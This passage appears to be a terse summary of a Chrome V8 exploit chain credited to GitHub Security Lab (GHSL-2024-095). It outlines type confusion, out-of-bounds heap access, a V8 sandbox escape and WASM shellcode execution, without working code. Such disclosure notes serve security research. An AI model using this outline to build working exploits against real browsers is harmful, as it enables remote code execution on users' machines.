elementsfield → OOB access →corrupted_arr = y.name→ fake object → arbitrary V8 heap r/w
Discovered by: Man Yue Mo (GitHub Security Lab) — GHSL-2024-095
Full chain:
__defineGetter__+{...x}→ map deprecation →PropertyArray/NameDictionaryconfusion → OOB- Fake
Float64Array→ arbitrary heap r/w - DOMRect/DOMArrayBuffer type confusion → V8 sandbox escape (see Q10)
dispatch_table_from_importspatch → WASM shellcode →WinExec("ping db")
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